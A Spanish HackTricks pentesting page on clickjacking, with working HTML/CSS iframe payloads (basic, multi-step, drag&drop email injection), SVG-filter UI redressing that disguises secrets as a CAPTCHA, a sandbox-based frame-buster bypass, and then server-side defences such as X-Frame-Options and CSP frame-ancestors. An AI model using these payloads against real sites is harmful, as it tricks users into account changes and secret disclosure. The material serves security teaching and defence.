Clickjacking
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué es Clickjacking
En un ataque de clickjacking, un/a usuario es engañado para hacer clic en un elemento de una página web que es invisible o está disfrazado como un elemento diferente. Esta manipulación puede provocar consecuencias no deseadas para el usuario, como la descarga de malware, la redirección a páginas web maliciosas, la entrega de credenciales o información sensible, transferencias de dinero o la compra de productos en línea.
Truco de prellenado de formularios
A veces es posible llenar el valor de los campos de un formulario usando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar el payload de clickjacking para que el usuario presione el botón Submit.
Rellenar formulario con Drag&Drop
Si necesitas que el usuario complete un formulario pero no quieres pedirle directamente que escriba cierta información específica (como el email y/o la contraseña específica que conoces), puedes simplemente pedirle que Drag&Drop algo que escribirá tus datos controlados como en this example.
Payload básico
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload de varios pasos
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si has identificado un ataque XSS que requiere que un usuario haga clic en algún elemento para disparar el XSS y la página es vulnerable a clickjacking, podrías abusar de ello para engañar al usuario y que haga clic en el botón/enlace.
Ejemplo:
Encontraste un self XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes establecer y leer). La página con el formulario para establecer esos detalles es vulnerable a Clickjacking y puedes prellenar el formulario con los parámetros GET.
Un atacante podría preparar un ataque de Clickjacking a esa página prellenando el formulario con el XSS payload y engañando al usuario para que envíe el formulario. Entonces, cuando el formulario se envía y los valores se modifican, el usuario ejecutará el XSS.
DoubleClickjacking
Explicado inicialmente en this post, esta técnica pediría a la víctima que haga doble clic en un botón de una página personalizada colocada en una ubicación específica, y usa las diferencias de tiempo entre los eventos mousedown y onclick para cargar la página de la víctima durante el doble clic, de modo que la víctima realmente haga clic en un botón legítimo en la página de la víctima.
Un ejemplo puede verse en este video: https://www.youtube.com/watch?v=4rGvRRMrD18
Un ejemplo de código se puede encontrar en this page.
Warning
Esta técnica permite engañar al usuario para que haga clic en 1 lugar de la página de la víctima, eludiendo cualquier protección contra clickjacking. Por tanto, el atacante necesita encontrar acciones sensibles que se puedan realizar con solo 1 clic, como prompts de OAuth que aceptan permisos.
SVG Filters / Cross-Origin Iframe UI Redressing
Las builds modernas de Chromium/WebKit/Gecko permiten que la propiedad CSS filter:url(#id) se aplique a cross-origin iframes. Los píxeles rasterizados del iframe se exponen al grafo de filtros SVG como SourceGraphic, por lo que primitivas como feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. pueden deformar arbitrariamente la UI de la víctima antes de que el usuario la vea, aun cuando el atacante nunca toca el DOM. Un filtro de estilo Liquid-Glass simple se ve así:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Primitivas útiles:
feImagecarga bitmaps del atacante (p. ej., overlays, displacement maps);feFloodconstruye mates de color constante;feOffset/feGaussianBlurrefinan los realces;feDisplacementMaprefracta/deforma texto;feComposite operator="arithmetic"implementa matemáticas arbitrarias por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), lo suficiente para aumento de contraste, enmascaramiento y operaciones AND/OR;feTilerecorta y replica sondas de píxeles;feMorphologyexpande/contrae trazos;feColorMatrixmueve la luma a alfa para construir máscaras precisas.
Distorsionando secretos en prompts estilo CAPTCHA
Si un endpoint que puede enmarcarse muestra secretos (tokens, reset codes, API keys), el atacante puede distorsionarlos para que se parezcan a un CAPTCHA y forzar la transcripción manual:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Los píxeles distorsionados engañan al usuario para que “resuelva” el captcha dentro del <input> controlado por el atacante cuyo pattern hace cumplir el secreto real de la víctima.
Recontextualizando entradas de la víctima
Los filtros pueden eliminar quirúrgicamente el texto de placeholder/validación mientras conservan las pulsaciones del usuario. Un flujo de trabajo:
feComposite operator="arithmetic" k2≈4amplifica el brillo de modo que el texto auxiliar gris se sature a blanco.feTilelimita el área de trabajo al rectángulo del campo de entrada.feMorphology operator="erode"engruesa los glifos oscuros tecleados por la víctima y los almacena víaresult="thick".feFloodcrea una placa blanca,feBlend mode="difference"conthick, y un segundofeComposite k2≈100lo convierte en una máscara de luma muy marcada.feColorMatrixmueve esa luma al canal alpha, yfeComposite in="SourceGraphic" operator="in"conserva solo los glifos introducidos por el usuario.- Otro
feBlend in2="white"más un recorte fino dan un cuadro de texto limpio, tras lo cual el atacante superpone sus propias etiquetas HTML (por ejemplo, “Introduce tu correo electrónico”) mientras el iframe oculto sigue imponiendo la política de contraseñas del origen de la víctima.
Safari tiene problemas con feTile; el mismo efecto puede reproducirse con spatial mattes construidas a partir de feFlood + feColorMatrix + feComposite para WebKit-only payloads.
Sondas de píxeles, lógica y máquinas de estado
Al recortar una región de 2–4 px con feTile y teselarla al 100% del viewport, el atacante transforma el color muestreado en una textura de fotograma completo que puede convertirse mediante umbral en una máscara booleana:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Para colores arbitrarios, una referencia feFlood (p.ej., #0B57D0) más feBlend mode="difference" y otro composite aritmético (k2≈100, k4 como tolerancia) produce blanco solo cuando el píxel muestreado coincide con el tono objetivo. Alimentar estas máscaras en feComposite con k1..k4 ajustados genera puertas lógicas: AND vía k1=1, OR vía k2=k3=1, XOR vía feBlend mode="difference", NOT mezclando contra blanco. Encadenar puertas forma un sumador completo dentro del grafo de filtros, demostrando que la canalización es funcionalmente completa.
Por tanto, los atacantes pueden leer el estado de la UI sin JavaScript. Ejemplos de booleanos en un flujo modal:
- D (diálogo visible): sondear una esquina oscurecida y probar contra blanco.
- L (diálogo cargado): sondear las coordenadas donde aparece el botón una vez listo.
- C (casilla marcada): comparar el píxel de la casilla con el azul activo
#0B57D0. - R (red success/failure banner): usar
feMorphologyy umbrales rojos dentro del rectángulo del banner.
Cada estado detectado activa un bitmap de superposición diferente embebido vía feImage xlink:href="data:...". Enmascarar esos bitmaps con D, L, C, R mantiene las superposiciones sincronizadas con el diálogo real y guía a la víctima a través de flujos multi-paso (restablecimiento de contraseña, aprobaciones, confirmaciones destructivas) sin exponer nunca el DOM.
Browser extensions: DOM-based autofill clickjacking
Además de iframing páginas de la víctima, los atacantes pueden apuntar a elementos de UI de extensiones del navegador que se inyectan en la página. Los gestores de contraseñas renderizan desplegables de autofill cerca de los campos enfocados; enfocando un campo controlado por el atacante y ocultando/ocluir el desplegable de la extensión (opacity/overlay/top-layer tricks), un clic coaccionado del usuario puede seleccionar un elemento almacenado y rellenar datos sensibles en campos controlados por el atacante. Esta variante no requiere exposición por iframe y funciona completamente mediante manipulación DOM/CSS.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Estrategias para Mitigar Clickjacking
Defensas del lado del cliente
Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir Clickjacking:
- Asegurarse de que la ventana de la aplicación sea la ventana principal o superior.
- Hacer visibles todos los frames.
- Prevenir clics en frames invisibles.
- Detectar y alertar a los usuarios sobre intentos potenciales de Clickjacking.
Sin embargo, estos frame-busting scripts pueden ser eludidos:
- Configuraciones de seguridad del navegador: Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o por falta de soporte de JavaScript.
- Atributo
sandboxde iframe HTML5: Un atacante puede neutralizar los frame buster scripts estableciendo el atributosandboxcon los valoresallow-formsoallow-scriptssinallow-top-navigation. Esto impide que el iframe verifique si es la ventana superior, p. ej.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Los valores allow-forms y allow-scripts habilitan acciones dentro del iframe mientras deshabilitan la navegación a nivel superior. Para asegurar la funcionalidad prevista del sitio objetivo, podrían ser necesarios permisos adicionales como allow-same-origin y allow-modals, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden indicar qué permisos permitir.
Server-Side Defenses
X-Frame-Options
El encabezado de respuesta HTTP X-Frame-Options informa a los navegadores sobre la legitimidad de renderizar una página en un <frame> o <iframe>, ayudando a prevenir Clickjacking:
X-Frame-Options: deny- Ningún dominio puede enmarcar el contenido.X-Frame-Options: sameorigin- Solo el sitio actual puede enmarcar el contenido.X-Frame-Options: allow-from https://trusted.com- Solo el ‘uri’ especificado puede enmarcar la página.- Ten en cuenta las limitaciones: si el navegador no soporta esta directiva, podría no funcionar. Algunos navegadores prefieren la directiva frame-ancestors de CSP.
Content Security Policy (CSP) frame-ancestors directive
La directiva frame-ancestors en CSP es el método recomendado para la protección contra Clickjacking:
frame-ancestors 'none'- Similar aX-Frame-Options: deny.frame-ancestors 'self'- Similar aX-Frame-Options: sameorigin.frame-ancestors trusted.com- Similar aX-Frame-Options: allow-from.
Por ejemplo, la siguiente CSP solo permite que la página sea enmarcada desde el mismo dominio:
Content-Security-Policy: frame-ancestors 'self';
Más detalles y ejemplos complejos se pueden encontrar en la frame-ancestors CSP documentation y en la Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) es una medida de seguridad que ayuda a prevenir Clickjacking y otros ataques de inyección de código al especificar qué fuentes el navegador debe permitir para cargar contenido.
frame-src Directive
- Define las fuentes válidas para frames.
- Más específica que la directiva
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite frames del mismo origen (self) y https://trusted-website.com.
child-src Directiva
- Introducida en CSP level 2 para establecer fuentes válidas para web workers y frames.
- Actúa como fallback para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames y workers desde el mismo origen (self) y https://trusted-website.com.
Notas de uso:
- Deprecación: child-src está siendo eliminado en favor de frame-src y worker-src.
- Comportamiento de fallback: Si frame-src está ausente, child-src se utiliza como fallback para frames. Si ambos están ausentes, se utiliza default-src.
- Definición estricta de fuentes: Incluye únicamente fuentes de confianza en las directivas para prevenir explotación.
JavaScript Frame-Breaking Scripts
Aunque no son completamente infalibles, los scripts frame-busting basados en JavaScript pueden usarse para evitar que una página web sea enmarcada. Ejemplo:
if (top !== self) {
top.location = self.location
}
Empleando Anti-CSRF Tokens
- Validación de tokens: Utilice anti-CSRF tokens en aplicaciones web para asegurarse de que las solicitudes que cambian el estado se realicen intencionalmente por el usuario y no a través de una página Clickjacked.
References
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

